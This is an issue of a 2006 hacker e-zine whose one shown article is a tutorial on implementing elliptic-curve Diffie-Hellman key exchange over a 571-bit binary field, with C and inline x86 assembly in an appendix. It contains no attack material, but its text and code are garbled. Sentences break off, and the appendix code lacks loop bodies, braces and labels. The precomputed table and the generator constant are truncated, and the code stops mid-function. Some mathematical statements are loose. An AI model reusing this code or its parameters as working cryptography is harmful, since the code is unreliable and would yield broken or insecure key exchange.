.aware eZine Alpha - Overground Hacking













		     .aware eZine Alpha - Overground Hacking

                     Too much technology, in too little time.

        :101001010101101111000010100010011P"'    "Q111100011100101011;
        :001001001101010111001110010010101Y        Y01010011110111010;
         110001111000110100100110010100110          01010100110000111
         :00010110000101111010100101010011.        .0011110001011001;
          10111110011000011111001001110101O        O1010111110001000
          :11000001100011011011011100000000o,_  _,o0010011100110010;

   Hello and  welcome to the  first .aware  eZine  ever to exist  on planet
   earth. Basically, with all the h0no  wannabes out there and phrack down,
   I thought there ought to be a little bit more actual infotainment spread
   into  cyperspace.  This  way,  maybe  not all of us  will be driven into
   criminal insanity by paranoid hallucinations.

                                Enjoy the zine.

                  PS: We're sorry for causing all that cancer.
		1  	ECDLP Quick & Dirty  		rattle
		2 	Breaking Perl 			zshzn
		3 	Exploring RDA 			kharn
		4 	The House of Mind 		K-sPecial
		5 	Adjacent memory overflows 	Nomenumbra
		6 	outr0 				rattle

[-------------------------[ ECDLP Quick & Dirty ]-------------------------]

  .##################.__ __ __ __ _ _ __ __ 
  ##############/¯_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  *#########{   }####* 
    ################  (C) 2006 by .aware computer security research group
       ¯==####==¯         Web: http://awarenetwork.org
                       Author: rattle@awarenetwork.org

------------------------------------------------[ Table of Contents ]-----

    i.  Abstract
   ii.  Preface
  iii.  Mathematical Background
   iv.  Implementation Issues - Fields
    v.  Implementation Issues - Curves
   vi.  Implementation
  vii.  Conclusion
 viii.  References

-[ i ]----------------------------------------------------[ Abstract ]-----

 We aim to implement a very small and versatile assymetric key exchange
 algorithm for x86 platforms, based on the Elliptic Curve Discrete
 Logarithm Problem (ECDLP). This algorithm allows 2 parties to exchange a
 key of sufficient length for subsequently encrypting traffic with a 
 symmetric cipher.

 NOTE: This paper might offend the mathematically schooled among you
 because I was not exactly precise, let alone thorough. 

-[ ii ]----------------------------------------------------[ Preface ]-----

                 "I encrypt all my data with one-time pad's that consist
                  of an electrometre measuring me urinating into the
                  toilet. I'm secure."
                                                               - sirukin

 It has come to my attention that modern cryptography, while being on
 everyone's favourite feature list, is hardly found explained in papers
 with the due clarity it requires. More accurately, most articles give
 you a rough idea of how certain cryptographic schemes work and,
 succeed in completely failing to give you enough insight (or tools) to
 implement an actually secure, working algorithm. In particular, I am 
 referring to Elliptic Curve Cryptography (ECC), which I will be
 revolving around for the rest of the night.

 If everyone has such a compulsive thirst for knowledge - why the utter
 lack of enlightenment? Pretty simple. Just like the less sophisticated
 asymmetric schemes (like RSA), the basic idea of ECC can be wrapped up
 in a couple of fancy sketches and some first semester algebra. However,
 once you delve deeper into the topic, you will find that it is
 headblowingly complicated and not nearly as easy as they told you.

 Don't be intimidated, though. I will work around most problems of ECC
 with dirty tricks and hardcoded parameters. What we will get, though,
 is a working and secure ECDLP key exchange algorithm implemented in C
 for x86 machines. Mac users, rejoice. 

-[ iii ]-----------------------------------[ Mathematical Background ]-----

                   "Well, just because you don't understand it, does not
                    mean it's complicated."
                                                  - My Algebra Professor

 (1) Fields. A field is a mathematical structure F which behaves similar to
 the real or the rational numbers. For in time, I recommend you think of
 these structures as we analyze them in a more abstract fashion. Elements
 of a field can be added and multiplied. Each element a has a uniquely
 defined additive inverse (-a) such that a+(-a)=0. Also, each element a!=0
 has a multiplicative inverse (1/a) such that a * (1/a) = 1. Also, you have
 a*b=b*a, a*(b*c)=(a*b)*c and (a+b)*c = ac+bc. All this is obvious for real
 or rational numbers - but there are much more interesting structures that
 obey the same laws. As you might have already concluded, each field
 contains the Elements 0 and 1, the neutral Elements of Addition and
 Multiplication respectively. (Neutral because a+0=a, a*1=a.)

 Well, since it seems to be the smallest possible one, how about the field
 F2 = { 0, 1 }  with

   Addition:         Multiplication:
    + | 0 | 1         * | 0 | 1
   ---+---+---       ---+---+--- 
    0 | 0 | 1         0 | 0 | 0 
   ---+---+---       ---+---+--- 
    1 | 1 | 0         1 | 0 | 1
      '   '             '   '

 The addition is a simple XOR operation, the multiplication works just 
 as though 1 and 0 were integer numbers. This means, you use + and * on
 0 and 1 as though they were integer numbers, but the result of your 
 operation is the parity of the calculated number. Since there aren't that
 many scenarios, you can easily convince yourself that you can operate
 inside F2 just like you can operate on real and rational numbers.

 While it's an interesting and entertaining example, let's try to
 generalize the concept. For any prime p, let F(p) = { 0, 1, ..., p-1 } be
 the field where every operation is performed modulo p. This means, for
 any a,b in F(p), you have
    add(a,b) :=  (a + b) % p
    mul(a,b) :=  (a * b) % p

 It can be shown that the resulting structure is a field. Why primes? I 
 will not go into detail here, but p being a prime is necessary for the 
 existence of a  multiplicative inverse for every a != 0. For instance, if
 we'd try p = 6, you had mul(2,3) = (2*3)%6 = 0, and consequentially, 
 neither 2 or 3 would have a multiplicative inverse. However, for p=7:

    mul(1,1)               =  1 % 7 = 1
    mul(2,4) = (2 * 4) % 7 =  8 % 7 = 1
    mul(3,5) = (3 * 5) % 7 = 15 % 7 = 1
    mul(6,6) = (6 * 6) % 7 = 36 % 7 = 1

 These fields are known as prime fields. It can be shown that every finite
 field (a field with finitely many elements) has p to the power of m
 elements, where p is a prime and m a positive integer number. We have
 covered the fields with p elements already, what do the others look like?

 Consider polynomials with coefficients in F(p). As you might know,
 polynomials can be added and multiplied. Most axioms of a field are 
 already given, but we are lacking a multiplicative inverse for every
 polynomial of degree 1 or more. In fact, the polynomials over F(p)
 are, as a structure, very similar to the integer numbers - there's a
 polynomial division with rest, just like you have a division with rest for
 integers. Accordingly, you will also find prime polynomials. You will
 have to believe me when I tell you the following two things (or read a big
 book on algebra):

  - For any m, there exists a prime polynomial of degree m over F(p).
  - Performing every operation in F(p) modulo a prime polynomial of
    degree m yields a field structure with p to the power of m 

 We are particularly excited about polynomials over F2, because they can
 easily be represented as a bitstring (the coefficients of the
 polynomial are either 1 or 0). We will refer to this structure as F(2,m)
 where (m+1) is the degree of the prime polynomial we use for reduction.

 I cannot venture too deep into the maths here. For now, I just want 
 you to know and trust me that F(2,m) works just like real or rational
 numbers - except for nasty things like a + a = (1 + 1) * a = 0 * a = 0.
 (2) Elliptic curves. What is an elliptic curve? An elliptic curve, for
 us, will be the set of all points (x,y) from any field which satisfy an 
 equation of the form

                       y² + xy = x³ + ax² + b                          (*)

 Note that this is not the general definition of an elliptic curve. Indeed,
 this is a "non-supersingular" curve. However, frankly, that's all we are 
 interested in.
 We will write, for given coefficients a and b:

  E(F) = { (x,y) : x in F, y in F, y² + xy = x³ + ax² + b } + { @ }

 In words: E(F) is the set of all tuples (x,y) with x and y in F, such that 
 x and y satisfy the curve equation (*). We also say that x=infinity and
 y=infinity satisfy the curve equation and call the point @ the "point at

 The sketch below shows how these kinds of curves look over the real

                             |    .
                             |   .
                             |  .
                             | .
               . . .        .|
             .       . .. .  |
            .                |
           .                 |
           .                 |
            .                |
             .       . .. .  |
               . . .        .|
                             | .
                             |  .
                             |   .
                             |    .

 There is something particularly interesting about these elliptic curves.
 Provided that P and Q are points on the curve, draw a line through P and
 Q. It will intersect the curve in a third point R'. The sum of
 P and Q is then defined as the negative of R', which is simply the 
 reflection of R' about the x-axis. To add a point P to itself, you draw
 the tangent instead. 

                             |       /
                             |      .
                             |     /. R'
                             |    /  
                             |   / . 
                             |  /    
                             | /  .  
                             /   .    
                            /|  .    
                           / | .    
                          /  |.     
               . . .     /  .|      
             .       . .. .  |       
            .          / Q   |       
           .          /      |       
           .        /        |       
            .      /         |
             .    /  . .. .  |
               . . .        .|
                / P          |.
               /             | .
              /              |  .
             /               |   .
            /                |     
           /                 |    .
          /                  |    
         /                   |     .
        /                    |      
       /                     |      . 
      /                      |      X  -R' = (P + Q)

 To be precise, for P = (x,y) we set -P = (x,-y). Set P + (-P) := @. 

 As an interesting result, E(F) together with this addition law is an
 abelian group (that means, adding these points technically works like 
 like adding integer numbers) with @ serving as the neutral element
 (the "zero"). 

 How can we put this structure to cryptographic use? First of all, we
 consider elliptic curves over finite fields. Also, define a function

    f(n,P) = nP = P + P + ... + P

                  <-- n times -->

 For very large n, this function is still easy to calculate for a given
 point P. However - given Q and P, it is very hard to find an integer 
 Number n such that Q = f(n,P). This is called the Elliptic Curve Discrete
 Logarithm Problem. Now, due to the abelian structure, you have 

    f(n*m,P) = f(n,f(m,P)) = f(m,f(n,P))

 for any two integers n and m. Let me show you how we can exchange keys
 with this little trick.

    (1) Alice and Bob agree on a Point P in E(F).
    (2) Alice secretly chooses a big random number n and calculates nP.
        Bob also chooses big random number m and calculates mP.
    (3) Alice sends Bob (nP), Bob sends Alice (mP).
    (4) Alice calculates n(mP) = nmP =: Q.
        Bob also calculates m(nP) = nmP = Q.
    (5) Bob and Alice use Q as the key for encrypting traffic.

 What does Eve know? She knows P, (nP) and (mP). To get Q, she'd need the
 product nm. However, this would only be possible by solving the ECDLP for
 (nP) and (mP) (or solving a similarly hard problem).

 And that's that, folks. Let's get down to business!

-[ iv ]-----------------------------[ Implementation Issues - Fields ]-----

  "If I recally correctly, the compiler does issue optimizer notes for
   this, it's just that they don't particularly stand out from the other
   notes so you might not realize that these particular optimization

      - William Newman on run-time casting with SBCL (#lisp 2003/03/29)

 First of all, the ECDLP is hard only if the two following rather strong 
 conditions are met:

   - The number of elements in your finite Field is larger than at least
     2 to the power of 128. 256 bits is better, 512 scares the NSA.     
   - The number of points on your elliptic curve is almost prime, which
     means that it is of the form |E(F)| = h * p, where p is prime and
     h very small.

 This leads to the following problems:

  (A) Implement sufficiently fast finite field arithmetics for fields
      with approximately 1.34e+154 elements (that's around 512 bits).
  (B) Find a curve which has appropriate order.

 Problem (A) is our biggest problem, as (B) has been solved by government
 agencies and smart mathematicians around the world. So we're left with
 the task of implementing F(2,m) for m ~= 512. 

 Polynomials will be implemented as bitstrings of length m, stored in a
 little endian array of T = (m/32) machine words (32 bits). 

 (1) Shifting / Multiplication with x. Because we store polynomials as 
 bitstrings, shifting is a cheap linear operation. Only consider shifts
 of l<32 (for shifts larger than our wordsize of 32, we can shift
 word-wise first in linear time). We now have to shift and rotate through
 the carry bit at most 31*(m/32) ~ m times. 

 (2) Addition. Adding two polynomials in F(2,m) is trivially linear. 
 It is implemented as T XOR operations.

 (3) Multiplication. Multiplication might seem more complicated, but is
 easily implemented in O(m²). It works like this:

   Bitwise Comb Polynomial Multiplication Algorithm

   Input:   Polynomials p(x), q(x) as bitstrings
   Output:  c(x) = p(x) * q(x)

   SET c(x) = 0
   FOR i=0 TO m DO:
       IF bit i of p(x) is set:
           c(x) := c(x) + (q(x) << i)
   RETURN c(x)


 You can achieve better complexity with a divide-and-conquer approach as
 explained in [K1]. However - for m as small as approximately 512 bit,
 benchmarks for bitwise comb turn out to be faster than benchmarks for
 divide&conquer, on several systems. Thus, for our purposes, the 
 algorithm is completely sufficient, if not optimal.

 (4) Squaring. Calculating p(x)² can be implemented as a very fast 
 linear operation due to the following observation which only  
 applies to fields where 1+1=0:

   (a + b + c)² = (a + b + c) (a + b + c)
     = a² + ab + ac + ba + b² + bc + ca + cb + c²
     = a² + b² + c² + (1+1)ab + (1+1)ac + (1+1)bc
     = a² + b² + c²

 Thus, given a polynomial p(x) as bitstring, we can calculate p(x)² by
 simply inserting zeros between all bits. For instance,

   (1100111)² = (1010000010101)

 With a wee bit of precomputation, this is easily done in 4T = m/8 

 (5) Reduction. The algorithms for squaring and multiplication yield 
 polynomials of degree > m. These polynomials need to be reduced modulo
 a prime polynomial f(x) of degree m+1. For now, assume we have such an

 (6) Inversion. Last, but definitely not least, we need a "division"
 algorithm. This means, for a given polynomial p(x), find the (uniquely
 defined) multiplicative inverse polynomial q(x), such that:

    p(x) * q(x) = 1 mod f(x)

 where f(x) is our reduction polynomial. To find the Inverse, we use
 the polynomial version of euclid's extended algorithm:
   Euclid's Extended Algorithm (Polynomial)
   Input:  Polynomials p(x) and f(x)
   Output: Polynomials a(x),b(x) and d(x) such that  
           a(x) * p(x) + b(x) * f(x) = d(x)

   SET a(x) = 1, a´(x) = 0,
       b(x) = 0, b´(x) = 1
   SET u(x) = p(x),
       d(x) = f(x)

   WHILE u(x) != 0 DO:
       SET j := deg(u(x)) - deg(v(x))
       IF j < 0:
           u <-> d
           a <-> a´
           b <-> b´
           j := -j
       u(x) := u(x) + ( d(x)<<j)
       a(x) := a(x) + (a´(x)<<j)
       b(x) := b(x) + (b´(x)<<j)

   RETURN a(x),b(x),d(x)

 where "a <-> b" means "exchange a and b". 

 In this particular case, we always have d(x) = 1 because f(x) is prime,
 and we don't care about b(x). 

 The only thing that is left to be done is reduction. This is the only 
 algorithm that depends on the form of the reduction polynomial f(x). 
 This is also the only algorithm that requires a lot of work and 
 hand-tuned optimization. You can skip the rest of this chapter if you
 are not interested in this kind of stuff.

 We will now try to find a reduction polynomial of degree > 512 which
 is particularly suited for reduction. 

 On the other hand, why try to find one if one has already been found?
 The [F1] standard suggests reduction modulo the pentanomial

   Pentanomial f571(x)

   f(x)  =   x**571  +  x**10  +  x**5  +  x**2  +  1

         ~  (1<<571) + (1<<10) + (1<<5) + (1<<2) +  1
   = 0x 08000000 00000000 00000000 00000000 00000000 00000000
        00000000 00000000 00000000 00000000 00000000 00000000
        00000000 00000000 00000000 00000000 00000000 00000425


 Write f(x) = h(x) + r(x). where h(x)= (1<<571). Also assume we have a
 polynomial p(x) of degree at most 2m = 1140. Write 

    p(x) = b(x)*h(x) + a(x).

 with polynomials b(x),a(x) of degree m. Because 

    b(x)h(x) = b(x)f(x) + b(x)r(x)

 We get that b(x)h(x) = b(x)r(x) mod f(x), thus we have

    p(x) = b(x)r(x) + a(x) mod f(x).

 Now we're getting down to the hard part. We need to devise a fast
 reduction algorithm. Assume that the bitstring of P is stored as an array
 of unsigned little endian machine words

    p(x) = P[2T], P[2T-1], ..., P[T], P[T-1], ..., P[0]

 In this case, our polynomial b(x) starts at bitoffset 26 of P[T-1], 
 because we assume a(x) to be a 570 bit polynomial which does not need to
 be reduced. Consider:

 <---- P[2T] --->     <--- P[T] ---> <------------ P[T-1] --------------->

 {1151} .. {1120} ... {608} .. {576} {575}{574}{573}{572}{571} {570} .....

 <---------------------------- B ----------------------------> <--- A --->

 This means we have to understand B[i] == (P[i+T]<<5) ^ (P[i+T-1]>>27).
 Also, obviously A[i] == P[i].

 Now, let's forget this for a while and think about how b(x)r(x) is 
 calculated. We have r(x) = (1<<10)+(1<<5)+(1<<2)+1 = 0x425. We get 

     B[i]*R = B[i] ^ (B[i] << 10) ^ (B[i] <<  5) ^ (B[i] << 2)
 and a (maximum 10-bit) carry:

     C(B,i) := (B[i] >> 22) ^ (B[i] >> 27) ^ (B[i] >> 30)

 Thus, in one step of our algorithm, we will have to do


 FOR i = 1, ..., T-1 DO

     P[i]   := A[i]   ^ B[i] ^ (B[i] << 10) ^ (B[i] <<  5) ^ (B[i] << 2)
     P[i+1] := A[i+1] ^ C(B,i)


 Consider what we had before and we get 

  =   ((P[i+T]<<5) ^ (P[i+T-1]>>27))         ^   
    ( ((P[i+T]<<5) ^ (P[i+T-1]>>27)) <<  5 ) ^
    ( ((P[i+T]<<5) ^ (P[i+T-1]>>27)) <<  2 ) ^
    ( ((P[i+T]<<5) ^ (P[i+T-1]>>27)) << 10 ) ^ P[i]

  = P[i] ^ (P[i+T]<<5) ^ (P[i+T]<<7) ^ (P[i+T]<<10) ^ (P[i+T]<<15)

         ^ (P[i+T-1]>>27)      ^ (P[i+T-1]>>27)<<2
         ^ (P[i+T-1]>>27)<<5   ^ (P[i+T-1]>>27)<<10                    (*)

     ( ((P[i+T]<<5) ^ (P[i+T-1]>>27)) >> 22) ^ 
     ( ((P[i+T]<<5) ^ (P[i+T-1]>>27)) >> 27) ^
     ( ((P[i+T]<<5) ^ (P[i+T-1]>>27)) >> 30) ^ P[i+1]

  = P[i+1] ^ (P[i+T]<<5)>>22 ^ (P[i+T]<<5)>>27 ^ (P[i+T]<<5)>>30  

 however, one step later, P[i+1] will be XOR'd with (*). We have,
 if we look at a bitwise representation of X:

   Bits, numbered from A to 6:          Variable:    Label:

 ^ 0000000000000000000000ABCDE00000     (X>>27)<<5   (A1)
 ^ 000000000000000000000000000FGHIJ     (X<<5)>>27   (A2)
 ^ 0000000000000000000000FGHIJKLMNO     (X<<5)>>22   (B1)
 ^ 000000000000000000000000000000FG     (X<<5)>>30   (C1)
 ^ 000000000000000000000000000ABCDE     (X>>27)      (D)
 ^ 0000000000000000000000000ABCDE00     (X>>27)<<2   (C2)
 ^ 00000000000000000ABCDE0000000000     (X>>27)<<10  (B2)

              /\                           /\         /\
              ||                           ||         ||
              \/                           \/         \/

 ^ 0000000000000000000000ABCDEFGHIJ     (X>>22)       (A) = (A1)^(A2)
 ^ 000000000000000000000000000ABCDE     (X>>27)       (D)
 ^ 0000000000000000000000000ABCDEFG     (X>>25)       (C) = (C1)^(C2)
 ^ 00000000000000000ABCDEFGHIJKLMNO     (X>>17)       (B) = (B1)^(B2)

 Hence, we can rewrite our Algorithm to:


 FOR i = T-1, ..., 0 DO
     SET X  := P[i+T]
     P[i]   := P[i]   ^ (X<<5) ^ (X<<7) ^ (X<<10) ^ (X<<15)
     P[i+1] := P[i+1] ^ (X>>17) ^ (X>>22) ^ (X>>25) ^ (X>>27)


 The Polynomial we get after reduction will, of course, still have degree
 > 570. However, since deg(C(B,T)) <= 10 and deg(r(x)) <= 10, we have
 deg(C(B,T)r(x)) <= 20, which fits into one single machine word. Hence, we
 should be able to complete the reduction with one more operation (and a
 few shifts). Without proof I will tell you that we can complete the
 reduction algorithm to:

   Polynomial Reduction Algorithm Modulo f571 

   Input:  Polynomial p(x) of degree 1140 or less, stored as 
           an array of 2T machinewords.
   Output: p(x) mod f571(x)

   FOR i = T-1, ..., 0 DO
       SET X  := P[i+T]
       P[i]   := P[i]   ^ (X<<5) ^ (X<<7) ^ (X<<10) ^ (X<<15)
       P[i+1] := P[i+1] ^ (X>>17) ^ (X>>22) ^ (X>>25) ^ (X>>27)

   SET X  := P[T-1] >> 27
   P[0]   := P[0] ^ X ^ (X<<2) ^ (X<<5) ^ (X<<10)
   P[T-1] := P[T-1] & 0x07ffffff
   RETURN P[T-1],...,P[0]

 We're done! We have each and every function to implement a fast 570 bit
 binary field. 

-[ iv ]-----------------------------[ Implementation Issues - Curves ]-----

                        "Premature Optimization is the root of all evil."
                                                             - Tony Hoare

 Now that we have a field to work with, we need to sort out some final 
 issues with the curve implementation. As I told you before, the ECDLP is
 hard only if the curve does not have a smooth order. At this point we 
 shortcut a huge problem of elliptic curve cryptography by choosing a 
 hardcoded (Koblitz) curve over F(2,570) which has almost prime order. 
 That curve is  

                           E0:  y² + xy = x³ + 1 

 This is a non-supersingular Koblitz curve over F2. Fancy words, huh? The
 laws for point addition work as follows:

  1. P + @ = @ + P = P for all P in E(F(2,m))

  2. The negative of  P = (x,y) is  -P = (x, x + y). Also, -@ = @ and 
     of course, P + (-P) = @.

  3. Point addition: Let P=(x1,y1) and Q=(x2,y2), where P is neither Q nor
     -Q. Then we have P + Q = (x3,y3), where

         x3 = l² + l + x1 + x2                   (y1 + y2)
                                       with l := ---------
         y3 = l(x1+x3) + x3 + y1                 (x1 + x2)

  4. Point doubling. Let P = (x, y) and P is not -P. Then we will write
     P+P = 2P = (a, b), where

         a = l² + l = x² + (1/x²)                (x + y)
                                       with l := -------
         b = l(x+a) + a + y                         x

 But wait! You said in (iii.) that -(x,y) = (x,-y)! Yea. I lied. That law
 in (iii) is not the law for non-supersingular curves over F2, but for
 curves over the real numbers. You see, in F(2,570), many things are very 
 different from other fields because we have 1+1=0. Simple things like 
 dividing by 2 turn out to be real explosive. Hence, most algorithms and
 laws have to be tweaked a bit.

 Know that Koblitz curves have special traits which gave birth to a lot of
 literally insane optimization algorithms. Also know that I did not
 implement any of these. It might be a topic for later papers. Instead, 
 the above laws have been implemented naively. What requires a wee bit of
 attention is the point multiplication algorithm. First of all, point 
 multiplication is defined as the n-fold addition of a point P. Here, n 
 is any integer number. We will use a standard square & multiply (double
 & add) algorithm to implement the point multiplication using point
 addition. Hence, we will view the integer number as a bitstring and
 consequentially, we can use the same data type for 576-bit polynomials and
 576-bit integer numbers.

  Double & Add Point Multiplication Algorithm

  Input:   Point P, Polynomial k(x) over Z
  Output:  k(2)*P
  SET Q := P

  FOR i = deg(k), ..., 0 DO:
      Q := Q+Q
      IF bit i of k(x) is set THEN:
          Q := Q+P


 Our work here is almost done. The only remaining problem is - how do we
 find a point on the curve? (1,1) and (1,0) are trivial solutions, but
 they are of such small order that they are not really suitable for key 
 exchange via ECDLP. On the other hand, |E(F)| ~= q, where q = |F| (there
 are approximately as many points on the curve as there are elements in
 the underlying field). Since we have q² possible point combinations, we 
 have a probability of 1/q ~= 2.59e-172 that a random point actually
 satisfies the curve equation. 

 We will work around this problem the same way we worked around most
 problems so far - we won't solve it. The following point is, according to
 [F1], a generator point of the koblitz curve we chose in little Endian

 PGEN = {

   0x9F307A54,0x4DD58CEC,0x3BCA9531,0x4F4AEADE,0x7F4FBF37,0x0349DC80   }
 What is a generator point? A point P of E(F) is called a generator point
 if and only if for every Q in E(F), there is an integer number n such 
 that nP = Q. In plain English, this point generates the entire curve.
 In step (1) of the key exchange, explained in the last paragraph of
 chapter (iii), we will always choose the point PGEN. Now, having cheated
 our way around the more cumbersome problems of ECC, we shall have some

-[ vi ]---------------------------------------------[ Implementation ]-----

              "I considered life, I implemented life, now, life is boring."
                                                                 - thE AWKz

 In the Appendix, you will find the following files:

   binfields.h   curve.h
   binfields.c   curve.c

 The binfields module implements polynomial extension fields modulo the 
 prime polynomial presented in (iv). All operations are implemented as
 described in (iv) and provide sufficiently fast arithmetics. The curve
 module implements the koblitz curve E0 as described in (iv).

 Note that the curve module has not been optimized for speed. I have
 tested the Module, and for a full-blown key exchange, the algorithm takes
 around 3-4 seconds, which means an effort of max. 2 seconds for each
 party. This is reasonably fast and definitely fast enough for any 
 real life application. On a slow box, this might grow to time spans 
 of 10 seconds, but I still think it is within acceptable range.

 Now, how does the Module work? Basically, include curve.h and then,
 all you need are the following functions:

  word* pointMul(word* R, word* k, word* P);
  word* pointGen();
  word* polyRand();

 polyRand() generates a random polynomial in F(2,570). For the sake of
 point Multiplication, it can also be interpreted as a 570-bit integer
 number. pointGen() gives you a hardcoded generator point of E0. 

 For key exchange, each side performs the following operation (after
 initializing the random number generator):


   word* n = polyRand();
   word* P = pointGen();

   pointMul(P,n,P); // P := nP
   sendToBob(P);    // send (nP) to bob
   recvFromBob(P);  // get (mP) from bob
   pointMul(P,n,P); // calculate Q = nmP = n(mP)
   /* use the 36-word array P or any substring of it
      for symmetric encryption.                      */


 And voila, you're good to go.

-[ vii ]------------------------------------------------[ Conclusion ]-----

                        "I know that you believe you understand what you
                         think I said, but I'm not sure you realize that
                         what you heard is not what I meant."
                                                     - Robert McCloskey

 We have implemented exactly what we wanted - a quick and dirty ECDLP key
 exchange algorithm. It is far from being a comprehensive and complete 
 ECC library - it is limited. On the other hand, it is small and easily 
 incorporated with applications you might already have. Any kind of remote
 networking software can now be equipped with full-blown assymetric
 encryption. I can imagine a whole lot of ways to put this option to good

 And now, enjoy the code.

-[ viii ]-----------------------------------------------[ References ]-----

 [K1] Karatsuba - Ofman Multiplication using Divide & Conquer


 [F1] Federal Information Processing Standards Publication
      FIPS-186-2 - Digital Signature Standard 



[------------------------------[ APPENDIX ]-------------------------------]

 All files have been compiled using Microsoft Visual Studio 6 on Windows.
 Since there is a lot of inline Assembler, you might have to hand-tweak
 this code for other platforms.


#ifndef _BINFIELDS__H
#define _BINFIELDS__H

typedef unsigned char  byte;
typedef unsigned long  word;

#define SIZE_BITS   0x0000023a
#define SIZE_WORDS  0x00000012
#define SIZE_BYTES  0x00000048
#define EMPTY_MASK  0x07ffffff
#define SIZE_BITS2  0x00000474
#define SIZE_WORDS2 0x00000024
#define SIZE_BYTES2 0x00000090

void  __fastcall   lshift(word* a, word n);
void  __fastcall   rshift(word* a, word n);

int                deg(word *a);

int   __fastcall   polyCmp(word *a, word *b);
int   __fastcall   polyIsZero(word *a);

word* __fastcall   polyAdd(word* c, word* a, word* b);
word* __fastcall   polyAddTo(word* a, word* b);

word*              polySqr(word* c, word* a);
word*              polyMul(word* c, word *a, word *b);
word*              polyDiv(word* c, word *a, word *b);
word*              polyInv(word *c, word *a);

word*              polyGen();
word*              polyRand();
word*              polyDup(word* a);



#include <memory.h>
#include <stdlib.h>
#include <math.h>
#include <time.h>
#include "binfields.h"

// Precomputed Array. For each byte a1,a2,...,a8, this 
// array contains the halfword a1,0,a2,0,a3,0,...,0,a8.
// This is used for fast squaring.

const static unsigned short POW[0x100] = {
    0x5540,0x5541,0x5544,0x5545,0x5550,0x5551,0x5554,0x5555 };

void __fastcall lshift2(word* a, word n);

word* __fastcall __reduce(word* c, word* temp) {
    register int i;
    register word T;
    if (!deg(&c[SIZE_WORDS]) && deg(c)<=SIZE_BITS)
        goto __reduce_done;

    for (i=SIZE_WORDS2-1;i>=SIZE_WORDS;i--) {
     T = c[i];
        c[i-SIZE_WORDS]   ^= (T<<5)  ^ (T<<7)  ^ (T<<10) ^ (T<<15);
        c[i-SIZE_WORDS+1] ^= (T>>27) ^ (T>>25) ^ (T>>22) ^ (T>>17);
    T = c[SIZE_WORDS-1] >> 27;
    c[0] = c[0] ^ T ^ (T<<2) ^ (T<<5) ^ (T<<10);
    return memcpy(temp, c, SIZE_BYTES);

word* polyMul(word* r, word* a, word* b) {
    register int k,j;
    word c[SIZE_WORDS2] = {0};

    for (k=31;k>=0;k--) {
        for (j=0;j<SIZE_WORDS;j++)
            if ((a[j]>>k)&1) 
        if (k) lshift2(c,1);

    return __reduce(c,r);

word* polySqr(word* r, word *a) {
    register word i;
    word c[SIZE_WORDS2] = {0};
    for (i=0;i<SIZE_WORDS;i++) {
        c[2*i]    = POW[(a[i]>>0x00) & 0xFF];
        c[2*i]   += POW[(a[i]>>0x08) & 0xFF] << 0x10;
        c[2*i+1]  = POW[(a[i]>>0x10) & 0xFF];
        c[2*i+1] += POW[(a[i]>>0x18) & 0xFF] << 0x10;
    return __reduce(c,r);

word* polyDiv(word *c, word *a, word *b) {
    word t[SIZE_WORDS];
    return polyMul(c,a,polyInv(t,b));

word* polyInv(word *r, word* a) {

    register word t;
    register int j;

    word x[5*SIZE_WORDS] = {0},
    *v = &x[1*SIZE_WORDS],
    *u = &x[2*SIZE_WORDS],
    *g = &x[3*SIZE_WORDS],
    *f = &x[4*SIZE_WORDS];


    v[0] = 0x425; 
    v[SIZE_WORDS-1] = 0x08000000;
    g[0] = 1;

    if (u[0]==1 || u[0]==0) {
        for (j=1;j<SIZE_WORDS;j++)
            if (u[j]) goto inv_run;
        goto inv_done;
    if ((j = deg(u)-deg(v)) < 0) {
        t = (word) v; v = u; u = (word*) t; // v <-> u
        t = (word) g; g = f; f = (word*) t; // g <-> f
        j = -j;    }

    polyAddTo(u,x);  // u = u + v>>j

    polyAddTo(g,x);  // g = g + f>>j

    goto inv_loop;

    memcpy(r, g,SIZE_BYTES);
    return r;

__declspec(naked) word* __fastcall polyAddTo(word* a, word* b) {
    __asm {
        mov  edi, ecx
        mov  ecx, SIZE_WORDS
        mov  eax, [edx+4*ecx-4]
        xor  [edi+4*ecx-4], eax
        loop _add_to_loop
        mov  ecx, edi
} }

word* __fastcall polyAdd(word* c, word* a, word* b) {
    __asm {
        mov  ebx,ecx
        mov  esi,b
        mov  ecx, SIZE_WORDS
        mov  eax, [edx+4*ecx-4]
        xor  eax, [esi+4*ecx-4]
        mov  [ebx+4*ecx-4], eax
    loop _add_loop
} }

_declspec(naked) void __fastcall lshift(word* a, word n) { 
    __asm {
        test edx,edx
        jnz  _lshift_nonzeroshift
        mov  edi,ecx
        mov  esi,edi
        mov  eax,edx
        shr  eax,3
        test eax,eax
        je   _lshift_go
             mov  ecx, SIZE_BYTES
             sub  ecx, eax
             js   _lshift_zero
             add  edi, eax
             dec  ecx
             mov  bl,  byte ptr[esi+ecx]
             mov  byte ptr [edi+ecx], bl
             test ecx, ecx
             jne  _lshift_preloop
             mov  ecx, eax
             mov  byte ptr [esi+ecx-1],0
             loop _lshift_zloop
;;             add  esi, eax
             shl  eax, 3
             sub  edx, eax
             jz   _lshift_done
        mov  ecx,SIZE_WORDS
        mov  edi,esi
        rcl  dword ptr [edi], 1
        inc  edi
        inc  edi
        inc  edi
        inc  edi
        loop _lshift_subloop
        dec  edx
        jne  _lshift_go
        mov  ecx,SIZE_BYTES
        mov  byte ptr [esi+eax],0
        loop _lshift_zloop2
} }

_declspec(naked) void __fastcall lshift2(word* a, word n) { 
    __asm {
        test edx,edx
        jnz  _lshift2_nonzeroshift
        mov  edi,ecx
        mov  esi,edi
        mov  eax,edx
        shr  eax,3
        test eax,eax
        je   _lshift2_go
             mov  ecx, SIZE_BYTES2
             sub  ecx, eax
             js   _lshift2_zero
             add  edi, eax
             dec  ecx
             mov  bl,  byte ptr[esi+ecx]
             mov  byte ptr [edi+ecx], bl
             test ecx, ecx
             jne  _lshift2_preloop
             mov  ecx, eax
             mov  byte ptr [esi+ecx-1],0
             loop _lshift2_zloop
;;             add  esi, eax
             shl  eax, 3
             sub  edx, eax
             jz   _lshift2_done
        mov  edi, esi
        mov  ecx, SIZE_WORDS2
        rcl  dword ptr [edi],1
        inc  edi
        inc  edi
        inc  edi
        inc  edi
        loop _lshift2_subloop
        dec  edx
        jne  _lshift2_go
        mov  ecx,SIZE_BYTES2
        mov  byte ptr [esi+eax],0
        loop _lshift2_zloop2
} }

_declspec(naked) void __fastcall rshift(word* a, word n) { 
    __asm {
        mov  edi,ecx
        mov  esi,edi
        mov  eax,edx
        shr  eax,3
        test eax,eax
        je   _rshift_go
             push eax
             mov  ebx, SIZE_BYTES
             sub  ebx, eax
